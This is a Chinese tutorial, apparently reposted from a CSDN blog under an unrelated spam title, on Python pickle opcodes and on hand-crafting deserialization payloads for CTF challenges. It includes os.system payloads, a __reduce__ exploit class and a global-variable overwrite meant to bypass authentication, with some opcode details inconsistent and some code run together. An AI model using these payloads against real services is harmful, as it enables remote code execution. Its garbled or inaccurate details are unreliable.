当前位置: 首页> 娱乐> 明星 > 免费的oa办公系统排名_21ic中国电子网_百度搜索趋势_北京网站建设

免费的oa办公系统排名_21ic中国电子网_百度搜索趋势_北京网站建设

时间:2025/7/12 16:00:16来源:https://blog.csdn.net/hddi1/article/details/146509562 浏览次数:0次
免费的oa办公系统排名_21ic中国电子网_百度搜索趋势_北京网站建设

为了避免混乱,我们先搞清楚一些东西

在 Python 的 pickle 序列化协议中,操作码(Opcode)字节值序列化后的字节流 是三个密切相关的概念,它们共同定义了对象序列化和反序列化的底层逻辑。以下是它们的定义、关系和具体示例:

操作码(opcode)是人类能看懂的一种字符,操作码是指令的名称,字节值是操作码在二进制数据中的具体体现形式


1. 操作码(Opcode)

定义
  • 操作符(Opcode)pickle 协议中预定义的指令符号,表示某种具体的操作(如压栈、导入对象、构建容器等)。
  • 每个操作码对应一个人类可读的缩写名称(例如 GLOBALREDUCEBININT),这些名称在 pickletools 模块的反汇编输出中可见。
示例
  • MARK:标记栈的当前位置,用于后续操作(如构建列表、字典)。
  • GLOBAL:导入一个全局对象(如模块、函数、类)。
  • BININT1:将一个 1 字节的整数压入栈。

2. 字节值

定义
  • 字节值 是操作码在二进制序列化数据中的具体字节编码每个操作码对应一个或多个字节的二进制值。
  • 不同版本的 pickle 协议可能对操作码的编码方式不同(例如协议 0 使用文本格式,协议 4 使用二进制格式)。
示例
  • MARK 的字节值在协议 0 中是 ((ASCII 码 0x28)。
  • GLOBAL 的字节值在协议 0 中是 c(ASCII 码 0x63)。
  • BININT1 的字节值在协议 4 中是 \x4b(二进制值 0x4b)。

3. 字节流(序列化后的数据流)

定义
  • 字节值pickle 序列化后的二进制数据流,由操作码和附加数据(如字符串、数值等)组成。
  • 整个序列化后的字节流是字节值和数据的组合,反序列化时按顺序解析。
示例

序列化一个整数 42(协议 4):

import pickle
data = pickle.dumps(42, protocol=4)
print(data)  # 输出: b'\x80\x04K*.'
  • \x80\x04:协议版本 4 的头部(PROTO 操作符)。
  • K*BININT1 操作码(\x4b)和数值 42* 的 ASCII 码是 0x2a,对应十进制 42)。
  • .STOP 操作符,表示结束。

4. 三者关系

逻辑关系
  1. 操作符(Opcode) 是逻辑指令,定义某个操作(如压栈、调用函数)。
  2. 操作码(字节值) 是操作符在二进制数据中的具体编码。
  3. 字节流 是完整的序列化数据,由操作码和数据按协议规则拼接而成。
示例:序列化一个列表 [1, 2]
  1. 操作符序列

    • MARK → 标记栈起始位置。
    • BININT1 1 → 压入整数 1。
    • BININT1 2 → 压入整数 2。
    • LIST → 构建列表。
    • STOP → 结束。
  2. 操作码(协议 4)

    PROTO    \x80\x04
    MARK     (
    BININT1  \x4b\x01
    BININT1  \x4b\x02
    LIST     ]
    STOP     .
    
  3. 字节流

    b'\x80\x04(K\x01K\x02e.'
    

5. 操作符与字节值的映射表(协议 4 示例)

操作码(Opcode)字节值(Hex)功能描述
PROTO\x80声明协议版本
MARK\x28 (()标记栈位置
BININT1\x4b (K)压入 1 字节整数
LIST\x5d (])构建列表
GLOBAL\x63 (c)导入全局对象
STOP\x2e (.)终止序列化

6. 如何查看操作码和字节值的对应关系?

方法 1:使用 pickletools 反汇编
import pickle, pickletoolsdata = pickle.dumps([1, 2], protocol=4)
pickletools.dis(data)  # 输出操作符和对应的字节值

输出

    0: \x80 PROTO      4          # 操作码 PROTO,字节值 \x802: (    MARK                   # 操作码 MARK,字节值 (3: K        BININT1    1       # 操作码 BININT1,字节值 K (\x4b)5: K        BININT1    27: e        APPENDS    (MARK at 2)  # 操作符 APPENDS,字节值 e8: .    STOP                   # 操作符 STOP,字节值 .
方法 2:查阅协议规范

Python 官方文档的 pickle 协议规范中详细列出了所有操作码及其字节值:

  • Python Pickle Protocol Documentation

7. 总结

  • 操作码(Opcode):逻辑指令,如 GLOBALBININT1

  • 字节值:操作码在二进制数据中的编码,如 \x63 对应 GLOBAL

  • 字节流:由字节值和数据组成的完整序列化结果。

  • Opcode(操作码) = 助记符(如 MARKBINPERSID)。

  • 字节值 = Opcode 的二进制表示(如 0x280x51)。

  • 操作符是模糊术语,应避免使用。

  • 关键:操作码是逻辑指令,字节值是物理存储,两者一一对应。

理解这三者的关系,可以帮助你:

  1. 分析恶意序列化 Payload:通过反汇编查看操作符序列,识别潜在的攻击行为。
  2. 调试序列化问题:定位序列化失败的具体操作步骤。
  3. 优化序列化性能:选择高效的操作符和协议版本。
为何需要严格区分?
  1. 安全分析:恶意 pickle 数据通过字节值隐藏意图(如 R 对应 REDUCE 可触发代码执行),需明确操作码逻辑。
  2. 协议兼容性:不同协议中同一操作码的字节值可能不同(如 GLOBAL 在协议 0 中是 (c),在协议 1+ 中是 0x93)。
  3. 可读性:直接操作字节值对机器友好,但人类需借助助记符(opcode)理解逻辑。

opcode

opcode介绍

pickle由于有不同的实现版本,在py3和py2中得到的opcode不相同。但是pickle可以向下兼容(所以用v0就可以在所有版本中执行)。目前,pickle有6种版本。

常用opcode

首先说明一下

  • 十六进制显示:表示高版本协议新增的非 ASCII 操作码(如 \x80)。
  • 字符显示:表示协议 0 操作码或字节值恰好为 ASCII 字符的操作码(如 (K)。

在Python的 pickle.py 中,我们能够找到所有的opcode及其解释,常用的opcode的字节值如下,这里我们以V0版本为例

以下是操作码的字节值整理后的表格:

现在不用太详细理解这个表格,实战编写就知道了。

字节值描述示例操作
c获取一个全局对象或import一个模块c[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N实例化一个NoneN获得的对象入栈
S实例化一个字符串对象S’xxx’\n(也可以使用双引号、'等python字符串形式)获得的对象入栈
V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈
I实例化一个int对象Ixxx\n获得的对象入栈
F实例化一个float对象Fx.x\n获得的对象入栈
R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的一个元素作为pickle.loads()的返回值.
(向栈中压入一个MARK标记(MARK标记入栈
t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈
)向栈中直接压入一个空元组)空元组入栈
l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)dMARK标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至memo_npn\n
g将memo_n的对象压栈gn\n对象被压栈
0丢弃栈顶对象0栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
s将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新
a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新

opcode操作码的编写

为什么编写?

当然是为了:

  • 任意代码执行或命令执行。
  • 变量覆盖,通过覆盖一些凭证达到绕过身份验证的目的。
  • 反序列化时,Pickle 虚拟机会逐条执行 Opcode,动态重建对象。这一过程可能执行任意代码

我们都知道,pickle序列化后的东西是二进制的字节流,对于机器来讲很高效,但对人类来说很难看懂,所以上面我们介绍了一个叫pickletools的工具,可以帮助我们阅读pickle序列化后的内容

如果您的目的不止阅读,还有编写,下面我们讨论对操作码的编写

pickle使用 操作码(opcode) 来定义序列化过程中的指令和格式。操作码是表示某些作(如存储对象、读取对象等)的指令,它们以字节的形式存储在 pickle 数据流中。

首先,我们应该清楚地知道一些事情:

操作码的核心作用

每个操作码描述的是 如何操作栈(Stack)和构造对象,而非直接对应某个对象类型

操作码的分类

操作码的行为可分为以下几类:

  • 数据压栈:将原始数据(如整数、字符串)压入栈。
    • 例如:BININT1, BINUNICODE, BINFLOAT
  • 容器构建:从栈中弹出元素构建容器对象(如列表、字典、元组)。
    • 例如:LIST, DICT, TUPLE
  • 对象构造:处理类实例、函数、模块等复杂对象。
    • 例如:GLOBAL(导入模块和类)、REDUCE(调用构造函数)。
  • 栈操作:管理栈的状态(如标记、合并、引用)。
    • 例如:MARK, POP, DUP
  • 流程控制:控制序列化/反序列化的流程。
    • 例如:PROTO(声明协议版本)、STOP(结束解析)。

[[opcode编写例子]] 直接看例子可以快速帮助理解,可惜不能直接写在这,不然会造成顺序 混乱

提前在这里说一些 ,最终我们手搓的话 会利用字节值,进行编写,类似:

opcode1 = b'''cos
system
(S'whoami'
tR.
'''

如何手写opcode

  • 在CTF中,很多时候需要一次执行多个函数或一次进行多个指令,此时就不能光用 __reduce__ 来解决问题(reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了),而需要手动拼接或构造opcode了。手写opcode是pickle反序列化比较难的地方。
  • 在这里可以体会到为何pickle是一种语言,直接编写的opcode灵活性比使用pickle序列化生成的代码更高,只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。
  • 根据前文不同版本的opcode可以看出,版本0的opcode更方便阅读,所以手动编写时,一般选用版本0的opcode。

手动构造 pickle opcode(手搓 opcode)需要对 Python pickle 协议的底层机制有深刻理解,并严格遵循其字节码规范。以下是核心要点和步骤:


1. 理解协议基础

  • 基于栈的操作:Pickle 协议通过栈结构管理数据,操作符(opcode)会按顺序压入/弹出栈中的元素。
  • 协议版本:不同协议版本(如 protocol=0protocol=4)的 opcode 可能不同,需明确目标版本(默认是当前 Python 版本的最高协议)。
  • 操作符分类
    • 数据压栈INT(整数)、STRING(字符串)、BININT(二进制整数)等。
    • 对象操作GLOBAL(导入模块/类)、REDUCE(调用函数)、BUILD(构建对象)等。
    • 流程控制MARK(标记栈位置)、TUPLE(生成元组)、DICT(生成字典)等。

2. 关键操作符解析

以下是常见手搓场景中的关键操作符:

(1) 导入模块/类/函数
  • c 操作符GLOBAL):
    b'c__main__\nA\n'  # 导入 __main__.A 类
    
    • 语法:c<module>\n<name>\n
    • 作用:从指定模块导入类、函数或变量。
(2) 构建参数
  • ((MARK)和 t(TUPLE)
    b'(I42\nS"data"\ntR'  # 构造元组 (42, "data")
    
    • ( 标记栈的起始位置,t 将标记后的所有元素打包为元组。
  • d(DICT)和 b(BUILD)
    b'(S"key"\nS"value"\ndb'  # 构建字典 {"key": "value"} 并更新对象属性
    
(3) 函数调用与对象实例化
  • R(REDUCE)
    b'cos\nsystem\n(S"ls"\ntR'  # 调用 os.system("ls")
    
    • 作用:弹出栈顶的函数和参数元组,执行 func(*args)
  • i(INST)和 o(OBJ)
    b'(i__main__\nA\nI42\no'  # 实例化 __main__.A(42)
    

3. 手搓 opcode 步骤

步骤 1:目标拆解

明确要实现的操作,例如:

  • 调用 os.system("ls")
  • 覆盖全局变量 secret = "hacked"
  • 实例化一个类 A(42)
步骤 2:栈操作设计

按执行顺序模拟栈的变化:

  • 调用 os.system("ls")
    1. c 压入 os.system 函数
    2. ( 标记参数开始
    3. S"ls" 压入参数
    4. t 打包为元组
    5. R 调用函数
步骤 3:拼接操作符

按栈顺序拼接 opcode:

opcode = (b'cos\nsystem\n'   # 导入 os.systemb'(S"ls"\n'        # 参数开始(字符串 "ls")b'tR'              # 打包元组并调用
)
步骤 4:验证与调试

使用 pickletools 反编译验证:

import pickletools
pickletools.dis(opcode)

输出示例:

    0: c    GLOBAL     'os system'11: (    MARK12: S        STRING     'ls'18: t        TUPLE      (MARK at 11)19: R    REDUCE20: .    STOP

4. 常见技巧与陷阱

技巧
  1. 直接使用二进制语法
    b'VALUE'  # 直接编写字节,如 b'I42\n' 表示整数 42
    
  2. 利用 __reduce__ 方法
    如果一个类定义了 __reduce__,序列化时会调用它,可构造任意代码执行:
    class Exploit:def __reduce__(self):import osreturn (os.system, ("ls",))
    
  3. 变量覆盖
    通过修改 __main__ 模块的 __dict__ 覆盖全局变量:
    b'c__main__\n__dict__\n(S"secret"\nS"hacked"\ndb'
    
陷阱
  1. 协议版本兼容性
    • protocol=0 使用文本格式(如 I42),而高版本协议(如 protocol=4)可能使用二进制编码(如 BININT1)。
  2. 栈不平衡
    • 操作符必须严格匹配栈状态(如 MARK 必须对应 TUPLEDICT)。
  3. 字符串转义
    • 字符串中的换行符需用 \n 表示,如 S"hello\nworld"

5. 安全警告

  • 反序列化风险永远不要反序列化不受信任的 pickle 数据!攻击者可构造恶意 opcode 实现任意代码执行。
  • 仅用于研究:手搓 opcode 通常用于安全研究或协议调试,不可用于生产环境。

总结

手搓 opcode 的核心是:

  1. 理解栈操作逻辑
  2. 掌握关键操作符(如 c, (, t, R
  3. 精确拼接字节流
  4. pickletools 调试验证

通过模拟栈的变化和操作符组合,可以实现任意 Python 对象的序列化行为,但需极度谨慎对待安全问题。

手搓举例

具体编写payload需要自己写脚本

可以做做xyctf2024-web login

Pker对opcode操作码的利用

这里打算单开文章

参考文章

深入理解pickle:序列化、操作码与漏洞利用-CSDN博客

探究Pker对opcode字节码的利用-CSDN博客

文章 - 抽象语法树在PVM中的应用,从Python沙箱逃逸看PICKLE作码 - 先知社区 (aliyun.com)

Python_pickle反序列化 (osthing.github.io)

文章 - 探究Pker对opcode字节码的利用 - 先知社区 (aliyun.com)

CTF题型 Python中pickle反序列化进阶利用&amp;例题&amp;opache绕过_python pickle ctf-CSDN博客

关键字:免费的oa办公系统排名_21ic中国电子网_百度搜索趋势_北京网站建设

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: